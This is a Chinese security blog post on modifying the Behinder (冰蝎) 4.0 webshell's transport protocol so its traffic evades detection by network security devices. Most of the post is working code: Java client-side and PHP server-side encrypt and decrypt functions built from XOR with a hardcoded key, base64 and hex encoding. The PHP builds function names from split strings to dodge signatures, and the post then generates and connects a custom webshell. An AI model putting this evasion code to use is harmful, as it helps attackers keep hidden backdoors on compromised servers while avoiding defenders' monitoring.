Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 渗透分析 › 「渗透分析」冰蝎流量免杀初探

「渗透分析」冰蝎流量免杀初探

Eswlnk的头像
Eswlnk
2022-12-22 13:47:22
「渗透分析」冰蝎流量免杀初探-Eswlnk Blog
智能摘要 AI
本文介绍了如何对冰蝎4.0的传输协议进行改造,以实现流量的自定义处理。冰蝎4.0支持自定义传输协议,包括本地和远程模块,分别使用Java和目标语言(如PHP、ASP)编写。本地加密通过异或操作、Base64编码和Hex转换实现,解密则反向操作。远程加密同样采用异或操作、Base64编码和Hex转换。最终生成自定义WebShell,并测试其效果。本文旨在提升流量免杀能力,但未深入讨论WebShell免杀技术。

0x01 前言

冰蝎4.0发布以后,可以自定义传输协议了,也就是我们能对流量进行改造,本文依据rebeyond大佬文章对冰蝎流量进行改造,记录一下踩过的坑。

冰蝎传输协议模块

分为本地和远程,其中本地模块只能用java进行编写,远程模块根据webshell的语言类型进行编写,比如java、php、asp,全部编写好后要生成服务端,也就是生成我们自己的webshell,用生成后的webshell进行连接。

借用大佬的图说明一下加解密流程

整体流量加解密流程为先对payload进行base64,再转成十六进制,具体函数往下看。

0x02 加解密过程

1、本地加密函数

private byte[] Encrypt(byte[] data) throws Exception{
        //传入一个字节数组data,对data依据key进行按位异或
        String key="e45e329feb5d925b";
        for (int i = 0; i < data.length; i++) {
            data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
        }
        //先转换成base64,利用反射调用base64编码
        byte[] encrypted = null;
        Class baseCls;
        try
        {
            baseCls=Class.forName("java.util.Base64");
            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
            encrypted= (byte[]) Encoder.getClass().getMethod(
                    "encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
        }
        catch (Throwable error)
        {
            baseCls=Class.forName("sun.misc.BASE64Encoder");
            Object Encoder=baseCls.newInstance();
            String result=(String) Encoder.getClass().getMethod(
                    "encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});
            result=result.replace("\n", "").replace("\r", "");
            encrypted=result.getBytes();
        }

        //再改写成hex,利用DatatypeConverter类的printHexBinary()方法进行转换
        Object obj = null;
        try{
            Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");
            /*
            这里返回了一个Object类型,虽然encrypted定义的是字节数组,
            但是这里传进去的时候不知道为什么报的是Object,所以定义一个Object来接收。
            这里用printHexBinary()把base64字符串转成16进制字符串,
            printHexBinary()接收一个byte数组,
            printHexBinary()是一个静态方法,invoke第一个参数可以传入null,
             */
            obj = clazz.getDeclaredMethod("printHexBinary",new Class[]{byte[].class}).invoke(null,encrypted);
        }catch (Throwable error){
            System.out.println(error);
        }
        //因为要求返回字节数组,所以这里先把Object转成字符串,再转成字节数组,好像不能直接由object转byte
        byte[] encrypted_hex = obj.toString().toLowerCase().getBytes();
        return encrypted_hex;
    }

2、本地解密函数

private byte[] Decrypt(byte[] data) throws Exception
    {   //从十六进制转回base64
        String decrypted_hex = new String(data);
        byte[] decrypted_base = null;
        try{
            Class clazz = Class.forName("javax.xml.bind.DatatypeConverter");
            /*
            这里用parseHexBinary()把16进制字符串转回base64字符串
            parseHexBinary()接收16进制字符串,转回正常字符串
            parseHexBinary()是静态方法,invoke第一个参数可以为空
             */
            decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary",String.class).invoke(null,decrypted_hex);
        }catch (Throwable error){
            System.out.println(error);
        }

        //从base64转回正常字符串

        byte[] decodebs;
        Class baseCls ;
        try{
            baseCls=Class.forName("java.util.Base64");
            Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
            decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base});
        }
        catch (Throwable e)
        {
            baseCls = Class.forName("sun.misc.BASE64Decoder");
            Object Decoder=baseCls.newInstance();
            decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)});

        }
        String key="e45e329feb5d925b";
        for (int i = 0; i < decodebs.length; i++) {
            decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
        }
        return decodebs;
    }

可以先看一下本地加密的效果

至此,本地加解密函数完成,下一步我们研究webshell怎么写。因为本文研究流量免杀,webshell的免杀在此处不做讨论。

3、远程加密函数

function Encrypt($data)
{
    $key="e45e329feb5d925b"; 
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15]; 
    }
    $bs="base64_"."encode";
    $after=$bs($data."");

    return bin2hex($after);//base64后转16进制
}

4、远程解密函数

function Decrypt($data)
{
    $key="e45e329feb5d925b"; 
    $bs="base64_"."decode";
    $after=$bs(pack('H*',$data)."");//先解出16进制,再base64解码
    for($i=0;$i<strlen($after);$i++) {
        $after[$i] = $after[$i]^$key[$i+1&15]; 
    }

    return $after;
}

0x03 效果

先生成服务端,生成我们自己的webshell

连接webshell

用burp抓包看一下流量

0x04 总结

本次加解密流程为先base64,再转成16进制字符串。先转成base64主要是为了保护原始payload,以免在从十六进制转回原payload的过程中发生递归解析,将原payload中的十六进制字符串也一并解析了。

本文仅针对冰蝎流量改造进行初步探讨,熟悉一下整个流程,真的要绕流量设备,估计还需要其他的技巧。

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
base64objectstringwebshell免杀字符串函数
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
「严重漏洞」Google Pixel 锁屏绕过
上一篇
Pentesting MSSQL | Microsoft SQL Server
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 「渗透分析」如何防范JS注入?nbcio-boot代码审计攻略大公开
  • 「漏洞资讯」多用户管理系统API接口调用存在前台SQL注入漏洞(0day)
  • 「漏洞资讯」1Panel面板前台RCE漏洞(CVE-2024-39911)
  • 「高危漏洞」xz 和 liblzma 5.6.0~5.6.1 被植入后门,威胁所有 x64 架构 Linux 和 macOS 用户
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

「漏洞资讯」多用户管理系统API接口调用存在前台SQL注入漏洞(0day)
2024-11-09 13:31:53
RebindMultiA | 执行多个 A 记录重新绑定攻击的工具
2023-05-27 17:04:49
宝塔面板疑似出现Nginx中毒升级版漏洞?
2023-08-03 21:16:39

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.909 秒   |  SQL查询 30 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈